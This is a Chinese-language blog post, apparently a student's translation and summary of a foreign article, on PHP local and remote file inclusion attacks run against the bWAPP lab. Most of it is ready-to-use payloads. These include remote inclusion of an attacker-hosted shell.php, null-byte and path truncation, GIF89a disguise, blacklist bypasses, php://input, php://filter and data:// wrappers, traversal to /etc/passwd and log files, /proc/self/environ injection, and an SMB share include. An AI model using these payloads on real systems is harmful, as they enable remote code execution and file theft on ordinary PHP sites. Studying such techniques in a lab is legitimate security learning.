学校要搞个译文(真特么不明白有什么卵用…),然后就找了几篇外国比较好的文章,趁着也涨点姿势。
基本的文件包含攻击
不多说,都懂
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.11/bWAPP/flfi.php?language=http://192.168.1.11/shell.php
扩展的文件包含攻击
加了个?
不是很明白是什么原因,我觉得是截断。
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=http://192.168.1.11/shell.php?
空字节截断
%00
都是老套路
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.11/bWAPP/flfi.php?language=http://192.168.1.11/shell.php%00
更改HTTP
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.ph?language = HTTP://192.168.1.11/shell.php
更改图像扩展名
不知道老外为啥这样说,我觉得是文件伪装啊
修改文件内容,在文件头添加GIF89a
,然后修改文件后缀为shell.gif
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.ph?language=http://192.168.1.11/shell.gif
黑名单攻击
修改大小写啦,修改后缀啦,解析漏洞啦,比如.PHP
,.php3
,.asa
,.cer
这些啦等等。
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php?language=http://192.168.1.11/shell.PHP
Base64编码
http://192.168.1.113/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode-resource=http://192.168.1.11/shell.php
搞到最后老外自己还来个厉害了!!!,把我当时整蒙蔽了。。
PHP input输入流
套路…
Proc/self/environ
这个有很多种的,不限于这个日志,比如access.log
,error_log
等各种日志文件。
通过包含User-Agent的proc/self/environ文件来利用
PHP文件包含
自己的小概述
基本的本地文件包含
<?php include(“inc/” .$_GET[‘file’]);?>
包含文件在当前目录下:?file=.htaccess
目录遍历:?file=../../../../../../../../var/lib/locate.db
包含注入的PHP代码:?file=../../../../../../../var/log/apache/error.log
一些技巧:
- 可能的Apache目录列表
- 包含访问日志,比如/proc/self/fd/X
- 包含来拥有更多信息的proc文件系统
- 包含电子邮件的日志文件
- 包含ssh的认证日志文件 auth.log
- 尽可能多的尝试头像/图片/附件文件上传
- 包含会话文件
- 包含PHP的临时上传文件(可以利用条件竞争)
如果你有一个phpinfo(),请参考我们Drops的文章LFI with PHPInfo本地测试过程。
有限制的本地文件包含
<?php include(‘inc/’. $_GET[‘file’] . “.htm”); ?>
空字节注入:?file=../../../../../../../../etc/passwd%00
(需要php配置关闭magic_quotes_gpc)
空字节注入目录列表:?file=../../../../../../../var/www/accounts/%00
(仅限于UFS系统中,并且需要关闭magic_quotes_gpc)
路径截断:?file=../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\...
点截断:?file=../../../../../../etc/passwd…………………………
(仅限于windows系统中)
反向路径截断:?file=../../../../[..]../../../etc/passwd
基本的远程文件包含
<?php include($_GET[‘file’]); ?>
包含远程代码:?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要allow_url_fopen
、和allow_url_include
开启)
使用php:input输入流:?file=php://input
(在POST参数中设置你的攻击载荷,注意urlencoding
,并且需要allow_url_include
开启)
使用URIs数据:?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include
开启)
使用XSS:?file=http://127.0.0.1/path/xss.php?xss=phpcode
(只有在防火墙或在白名单内的域名才有效)
有限制的远程文件包含
<?php include($_GET[‘file’] . “htm”); ?>
file=https://websec.wordpress.com/shell
?file=https://websec.wordpress.com/shell.txt?
?file=https://websec.wordpress.com/shell.txt%23
(需要allow_url_fopen
,allow_url_include
开启)?file=\\evilshare\shell.php
(绕过allow_url_fopen
关闭的情况下)
过滤器逃逸:
访问带通配符的文件: